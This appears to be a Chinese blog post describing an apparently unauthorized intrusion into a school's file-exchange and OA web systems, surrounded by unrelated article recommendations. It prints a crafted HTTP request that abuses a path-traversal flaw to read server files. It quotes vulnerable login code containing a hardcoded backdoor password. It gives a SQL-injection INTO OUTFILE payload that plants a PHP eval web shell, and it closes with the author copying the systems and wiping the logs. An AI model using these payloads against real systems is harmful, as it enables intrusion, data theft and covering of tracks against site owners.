一次曲折的安全检测

Windows 10下MobSF 3.6.0完整环境搭建与Frida版本冲突精准解决指南 移动应用安全测试是保障应用安全的重要环节,其核心原理在于通过静态与动态分析技术,检测应用潜在的漏洞与风险。静态分析通过反编译、代码审计等手段检查应用结构,而动态分析则借助运行时插桩技术监控应用行为,两者结合能极大提升安全评估的深度与准确性。在工程实践中,自动化安全测试框架能显著提升测试效率,其中Frida作为动态插桩工具,因其强大的运行时操控能力,成为实现动态分析的关键技术组件。然而,其版本兼容性问题常导致环境搭建失败,尤其是在Windows平台集成复杂工具链时。本文聚焦于解决Frida版本冲突这一核心痛点 阅读详情
此次安全检测过去有段时间了,一直想写成稿子就是没有时间,具体环境可能有所淡忘,但整个过程和思路还是很明了的。由于在校期间课余在学校的网络工作室工作,所以对一些学校网站的服务和发展比较关注。这期间发现某学院的文件交换系统非常的不错,在校园网内使用会带来很多方面的便捷。搜索了下网上没有现成的系统下载,难道非要自己现写不成…

踩点:
服务器开放了21和80端口,Serv-U6.2、Apache/2.055(win32)PHP/5.1.2;同台服务器上还有一个OA系统。黑盒测试,先是测试上传脚本文件,可以上传,得到提取码后进行提取不会被解析…,对上传过程进行抓包,然后构造不存在的文件,发包,也没有暴出任何敏感信息。对整个的交换系统进行文件扫描也就扫出个config.php,google了下也没有别的文件。刚才不是说还有个OA 系统吗,google OA的时候确实有动态的连接,但所有的连接首先判断是不是校内IP,如果非校内IP直接跳转一个登陆页面,到这里测试完全的陷入了僵局。几经的离开,几经的回来再测试都没有结果,难道真的拿不下它吗?再一次的测试时输入提取码后的下载地址吸引了我。

“hxxp://www.xxx.edu.cn/ex/download.php?url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg”

url后应该是个绝对地址,那么修改下会不会下到别的文件?
抓包:

GET /ex/download.php?url=exchanging%2F200709121626171664123.jpg&name=dff3badd8b57fee777c63871.jpg
HTTP/1.1
Accept: */*
Referer: hxxp://www.xxx.edu.cn/ex/down.php
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1)
Host: www.xxx.edu.cn
Connection: Keep-Alive
Cookie: down_fail_cnt=0
一般WIN32下PHP继承的SYS权限,所以读文件干脆就读c:/boot.ini,Telnet 服务器ip 80发送下面修改好的数据

修改:

/ex/download.php?url=c%3A%5Cboot.ini HTTP/1.1
Accept: */*
Referer: hxxp://www.xxx.edu.cn/ex/down.php
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.1)
Host: www.xxx.edu.cn
Connection: Keep-Alive
Cookie: down_fail_cnt=0

结果真的返回了boot.ini的内容,狂喜中!

紧接着下来的问题就是猜web目录的路径了,找PHP或者Apache的配置文件应该都能找到WEB的路径,还是上面的发包,当试到路径d:/wwwroot/ex时,没有返回错误信息,说明猜对了他的路径,然后就是读交换系统的文件代码了,代码都是相关联的,发现就7个php文件而且用这个系统根本拿不到shell。进而转攻OA系统,不出意外OA的路径应该就是d:/wwwroot/oa,完全正确!首先读的就是config.php,察看敏感信息,暴出数据库联接信息是本地连接,root权限。然后就是扫描OA文件,测试到这程度能不能拿shell我心里还是没有底,大批的读源文件?… …心里发寒。

突破:

自己陷入矛盾中,放弃吧不甘心;继续吧,就算读完整套代码可能一无所获。心一横,先看看有没有代码过滤再说吧,首先登陆口,随意输入用户名、密码提交,抓包。抓到check.php,然后读代码。它是这么写的:

<?php
//echo "系统维护,请稍后访问!";exit;
require("config.php");
require("public/f_main.php");
require("f_db/".$Database['type'].".php");

session_start();

$db = new sql_db($Database['server'], $Database['username'], $Database['password'], $Database['dbname'], false);
if(!$db -> db_connect_id)
{
MsgGo("数据库连接失败!","exit");
}

foreach($_POST as $key=>$value) $$key=$value;

//用户密码验证
$sql="SELECT a.*,b.dep_name,b.dep_parent_id,b.dep_id AS dep_id,c.dep_name as dep_parent_name
FROM t_user a
LEFT JOIN t_dep b ON a.dep_id = b.dep_id
LEFT JOIN t_dep c ON c.dep_id = b.dep_parent_id
WHERE user_name ='$user_name'";
if(!($result = $db->sql_query($sql))) MsgGo("数据查询失败!","login.php");
if($row = $db->sql_fetchrow($result)){
if($row["user_status"]!="1"){
MsgGo("该用户处于停用状态,暂不能登录!","login.php");
}else{
if(md5($user_password)==$row["user_password"] || crypt($user_password,$row["user_password_old"])==$row["user_password_old"] || $user_password=="qwert12345")
{
if($row["user_password_old"]!="" && $user_password!="qwert12345"){
$sql="UPDATE t_user SET
user_password='".md5($user_password)."',
user_password_old=''
WHERE user_name ='$user_name'";
if(!$result = $db->sql_query($sql)){
MsgGo("数据查询失败!","login.php");
}
}
$sql="UPDATE t_user SET
last_login_time=".time()."
WHERE user_name ='$user_name'";
if(!$result = $db->sql_query($sql)){
MsgGo("数据查询失败!","login.php");
}
$_SESSION["sess_user_name"]=$row["user_name"];
$_SESSION["sess_user_type"]=$row["user_type"];
$_SESSION["sess_user_real_name"]=$row["user_real_name"];
$_SESSION["sess_user_level"]=$row["user_level"];
$_SESSION["sess_dep_id"]=$row["dep_id"];
$_SESSION["sess_dep_name"]=$row["dep_name"];

if($row["dep_parent_id"]=="1"){
$_SESSION["sess_dep_level"]="1";
$_SESSION["sess_dep_id1"]=$row["dep_id"];
$_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
$_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
}elseif($row["dep_parent_id"]>"1"){
$_SESSION["sess_dep_level"]="2";
$_SESSION["sess_dep_id1"]=$row["dep_parent_id"];
$_SESSION["sess_dep_parent_id"]=$row["dep_parent_id"];
$_SESSION["sess_dep_parent_name"]=$row["dep_parent_name"];
}

WriteLog("登录系统");

//writeCookie("username_recent",$_SESSION["sess_user_name"],24*30);
setcookie("username_recent",$_SESSION["sess_user_name"], time()+3600*24*30);

//进入系统主页面
echo "<script language='javascript'>";
if($go!=""){
echo "location='{$go}?filter=".urlencode($filter)."'";
}else{
if($row["user_type"]!="101") echo "location='login/index.php'";
else echo "location='index.php'";
}

echo "</script>";
}else{
MsgGo("密码错误!","login.php");
}
}
}else{
MsgGo("用户名错误!","login.php");
}

?>

可以看出check.php过滤非常的不严,直接导致SQL注入!貌似网上有不少类似的文章。先查出有24个字段,然后
'union select 1,'<?@eval($HTTP_POST_VARS['a'])?>',3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 into outfile 'd:/wwwroot/oa/dir.php'/*
提交!

这样hxxp://www.xxx.edu.cn/oa/dir.php 就是我们的shell地址了。

这个shell都不用提权… …直接把文件交换还有OA打包拖回家,也没有搞别的,擦擦日志走人了。

整个过程算是峰回路转啊,那个艰辛啊,知道这样还不如自己写,托回来个有洞的程序-_-,唉。仔细读了下代码,问题出在download.php上,就写错了一个函数… …看来还真验证了那句话“安全来不得半点马虎!”我目的就是拿这个程序,没有再做进一步的渗透,有了小的缺口可能导致整个服务器群的沦陷!安全无小事! 
光伏缺陷识别系统:YOLOv8定制版+PyQt5工业GUI实战 目标检测是工业视觉的核心技术,其原理在于通过深度学习模型对图像中特定类别目标进行定位与分类;在光伏运维场景中,该技术的价值在于将热斑、隐裂等肉眼难辨的物理缺陷转化为可量化、可追溯的数字指标;典型应用包括无人机巡检图像分析、边缘设备实时识别及缺陷报表自动生成;本系统基于YOLOv8主干网络进行小目标增强与类别平衡优化,并封装为带中文界面的PyQt5桌面应用,兼顾算法精度与工程鲁棒性,真正实现‘无Python基础人员也能一键检测’。 阅读详情

相关推荐

项目管理-(补充)七种基本质量工具

七种基本质量工具,用于PDCA循环的架构内 解决与质量相关的问题,分为老七工具和新七工具。 1)老七种:刘英只点劣质茶(流程图、因果图、直方图、散点图、帕累托图、控制图、核查表)2)新七种:锯树联亲测动优(矩阵图、树形图、关联图、亲和图、过程决策程序图、活动网络图、优先矩阵)

weixin_42081167的博客 4604

[攻防手记]一次曲折的安全检测

作者:菜菜 此次安全检测过去有段时间了,一直想写成稿子就是没有时间,具体环境可能有所淡忘,但整个过程和思路还是很明了的。由于在校期间课余在学校的网络工作室工作,所以对一些学校网站的服务和发展比较关注。这期间发现某学院的文件交换系统非常的不错,在校园网内使用会带来很多方面的便捷。搜索了下网上没有现成的系统下载,难道非要自己现写不成…踩点:服务器开放了21和80端口,Serv-U6.2、Apache/

540

无人车路径规划方法汇总

无人车路径规划方法汇总

weixin_44380244的博客 2561

setmaxinactiveinterval 单位_湘潭广告牌安全检测机构哪里有恒亿正规单位2020资讯

湘潭广告牌安全检测机构哪里有恒亿正规单位2020资讯深圳市恒亿建筑检测中心有限公司,是一家具备法人,拥有第三方检测实验室的一家综合型检验检测机构备案的房屋安全鉴定机构。  冷库设计规范 GB ,石油库设计规范GB ,钢筋混凝土筒仓设计规范 GB 。锚杆混凝土支护技术规范 GB ,民用器材工厂设计安全规范 GB地下工程防水技术规范GB ,铁路工程抗震设计规范 GBJ工业构筑物抗震鉴定标准 GBJ架空...

weixin_39805851的博客 76

L298N电机驱动模块的接线使用与代码实现

#include "iostm8s208mb.h" #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t typedef unsigned char uint8_t; typedef unsigned short uint16_t; typedef unsigned long uint32_t; // 关于LED灯的宏定义 #define LED2 PI_ODR_ODR2 //输出量 #define LE

Clichong 13万+

STM32 LwIP协议栈优化:从TCP延迟10ms降至1ms的内存配置手册

摘要: 本文针对STM32嵌入式开发中LwIP TCP通信的高延迟问题(默认配置下延迟达10~20ms),提出纯软件优化方案,通过调整内存配置与TCP参数将延迟降至1ms。核心问题包括内存池不足、pbuf分配低效及Nagle算法拖累,优化步骤包括: 内存池扩容:增大MEMP_NUM_TCP_PCB至10、PBUF_POOL_SIZE至32,避免资源竞争; pbuf静态池分配:采用2048字节大块缓冲区匹配DMA传输,减少分块与拷贝; 关闭Nagle算法:设置TCP_NODELAY=1,禁用延迟确认以加速小包

weixin_42212753的博客 1711

我对Auto-Coder说:Kotti这个项目使用的依赖库比较老,有些有安全隐患,请帮我根据下面的安全检测信息,升级相关依赖库,并更新Kotti项目里面的相关代码。

使用 Auto-coder完成Kotti项目的依赖库版本升级问题非常简单方便,只要把问题描述清楚,让它把指定的库升上去,后面它会自动更新代码,解决版本升级可能带来的各种代码问题。当然过程是曲折的,毕竟依赖库牵一发而动全身,Auto-coder跟其它AI助手比起来又聪明又能干,不用询问就会自己修改代码,但是有时候也挺担心它太智能把项目搞崩,索性最终也没出现无法收拾情况。另外刚刚使用Auto-coder,不太熟悉操作,也走了一些弯路。

skywalk8163的专栏 1388

企业微信会话存档SDK集成与动态库加载实战

本文详细解析了企业微信会话存档SDK的集成与动态库加载实战,重点解决Windows与Linux环境下动态库加载的差异问题。通过实战案例和优化建议,帮助开发者高效完成企业微信API集成,确保合规存档功能稳定运行。

weixin_26934905的博客 465

安全始终是区块链行业的刚需,成都链安为区块链安全都做了哪些事情?

当前,区块链底层技术展示出了在自组织模式下实现大规模协作的巨大潜力, 为解决分布式网络中的一致性问题提供了全新的方法。随着去中心化区块链平台与应用的蓬勃发展, 区块链技术...

链安科技的博客 716

CarPlay wired(USB)连接方案

CarPlay的wired(USB)的连接方案要求车载设备至少要支持USB2.0 Hi-Speed,支持USB Host Mode,该模式要求车载设备能够工作在USB device模式下,因为Apple设备在CarPlay中是作为USB Host的。而通常情况下,车载设备USB是工作在USB Host模式的,而外接的USB设备是工作在USB Device模式的,因而在这种情况下的CarPlay wired(USB)连接方案中就需要进行USB的模式切换。模式切换完成后便是Apple设备(USB HOST)的枚

Ke8323的博客 1万+

BEVFormer与TensorRT的完美结合:如何实现4倍推理加速?

本文详细解析了如何通过TensorRT的量化技术和自定义插件实现BEVFormer模型的4倍推理加速,同时保持精度损失小于1%。文章从模型架构与部署挑战入手,深入探讨了计算图优化、自定义插件开发和量化校准策略,并提供了完整的部署流程和性能调优技巧,为自动驾驶领域的实时3D感知提供了高效解决方案。

bean的博客 221

记一次攻防演练之迂回技战法真实案例,零基础入门黑客攻防,看这篇就够了!

记一次攻防演练之迂回技战法真实案例,零基础入门黑客攻防,看这篇就够了!

隔壁王叔的博客 1465

开源工具对比:5款主流大数据脱敏框架评测

数据脱敏(Data Masking/Anonymization),也称为数据漂白、数据去标识化,是指在不影响数据可用性的前提下,通过一定的技术手段对敏感信息进行处理,使其无法被识别或关联到具体个人或实体的过程。当应用程序向数据库写入数据(INSERT/UPDATE)时,ShardingSphere 会拦截 SQL,对配置了脱敏规则的字段,使用指定的算法进行加密/脱敏处理,然后将处理后的数据写入到。如果你的答案是“是”,那么数据脱敏,尤其是针对海量数据的。好的,各位技术同仁,数据安全领域的探索者们,大家好。

小程序开发 1185

Wazuh-安装踩坑指南

国内环境装 Wazuh(开源 SIEM 检测平台),一整天排掉 7 个真实坑:代理误伤国内源、GPG key 下载失败、indexer 初始化、磁盘不足、回滚残留、官方 API 用户 Bug(GitHub Issue #66)。本文记录每个坑的现象、根因、定位方法、解决,照着做能一次装成,也是一份可复用的部署 SOP。

m0_73668915的博客 826

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

前端安全——最新,网络安全学习路线

!!!!!

Innocence_0的博客 979

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

北漂7年程序猿回看工作选择

2016 年初开始北漂工作,距今刚好 7 年了,做个简单的总结考研败北,不再二战聊工作不得不先说下考研失败的经历 大三和大四一直备战考研,没有为找工作做一点准备工作,可以说就没给自己留任何的退路,起早贪黑的备考,皇天不负有心人---落榜当年真没少刷张宇、李永乐、肖秀荣的题,但翻看当年的一条动态,这个结果在意料之中,得知结果后,当时纠结是否要二战,二战真的需要极大的勇气和毅力,我是经历过高考复读的,...

dam454450872的博客 1287

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

任务信号量

  在实际任务间的通信中,一个或多个任务发送一个信号量或者消息给另一个任务是比常见的,而一个任务给多个任务发送信号量和消息相对比较少。前面所讲的信号量和消息队列均是单独的内核对象,是独立于任务存在的。这两章要讲述的任务信号量和任务消息队列是任务特有的属性,紧紧依赖于一个特定任务。   任务信号量和任务消息队列分别与多值信号量和消息队列非常相似,不同之处是,前者仅发布给一个特定任务,而后者可以发布...

weixin_30445169的博客 871

苹果Mac OS X系统安全评级(1)

兼述:BASIC SECURITY MODEL         苹果Mac OS X系统安全性能的完善是一个长久而持续的过程,在这个过程中,我们还可以从一个侧面回忆一下操作系统安全体系发展的过程。         在80年代初,IBM开创引领了个人计算机时代的开端,80年代中期个人计算机开始逐渐盛行,主流市场上是IBM PC和Macintosh两大阵营的较量。从前在70年代就已

中国在线教育 4762

2024网络安全学习之渗透测试报告 资料文档 渗透经验文档 安全书籍(持续更新)_hackreport(1)

│ │ │ ├── 58沙龙-02-《零信任在中通黑灰产对抗的实践》-中通快递.pdf。│ │ │ ├── 58沙龙-03-业务风控中的前端对抗实践-脱敏版-同盾科技.pdf。│ │ ├── 58沙龙-02-《浏流量分析在应用安全中的探索实践》-腾讯.pdf。│ │ │ ├── 58沙龙-01-《安全画像在58同城的落地实践》-58.pdf。│ │ │ └── 58沙龙-04-《快手营销反作弊实践》-快手.pdf。

2401_84254057的博客 854

2024网络安全学习之渗透测试报告 资料文档 渗透经验文档 安全书籍(持续更新)_hackreport

│ │ │ ├── 58沙龙-02-《零信任在中通黑灰产对抗的实践》-中通快递.pdf。│ │ │ ├── 58沙龙-03-业务风控中的前端对抗实践-脱敏版-同盾科技.pdf。│ │ ├── 58沙龙-02-《浏流量分析在应用安全中的探索实践》-腾讯.pdf。│ │ │ ├── 58沙龙-01-《安全画像在58同城的落地实践》-58.pdf。│ │ │ └── 58沙龙-04-《快手营销反作弊实践》-快手.pdf。

2401_84562858的博客 735

uC/OS任务信号量

在实际任务间的通信中,一个或多个任务发送一个信号量或者消息给另一个任务是比常见的,而一个任务给多个任务发送信号量和消息相对比较少。前面所讲的信号量和消息队列均是单独的内核对象,是独立于任务存在的。这两章要讲述的任务信号量和任务消息队列是 任务特有的属性,紧紧依赖于一个特定任务。   任务信号量和任务消息队列分别与多值信号量和消息队列非常相似,不同之处是,前者仅发布给一个特定任务,而后者可以发布给多个任务。因此,前者的操作相对比较简单,而且省时。如果任务信号量和任务消息队列可以满足设计需求,那么尽量不要使用

weixin_41040351的博客 542

记某次攻防演练:大战UEditor并突破

UEditor作为热门常见漏洞,在大型企业集团中的.net老旧系统中非常常见,相关的利用方法以及绕过方法需要非常熟练,方可快人一步迅速拿下权限。最近参与某次攻防演练,通过前期信息收集,发现某靶标单位存在某域名备案。通过fofa搜索子域名站点,发现存在一个子域名的61000端口开放着一个后台,于是开始进行渗透。

蚁景网安学院 828

收藏!渗透测试报告/资料文档合集

在脱敏的情况下整理出常见的报告模板、红蓝对抗技巧、渗透测试方法大全、大型会议PPT。关注【Hack分享吧】公众号,回复关键字【230509】获取下载链接。

潇湘信安的博客 1084
上一篇: 国外FlashFxp解密代码
下一篇: Nmap的高级用法指南
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值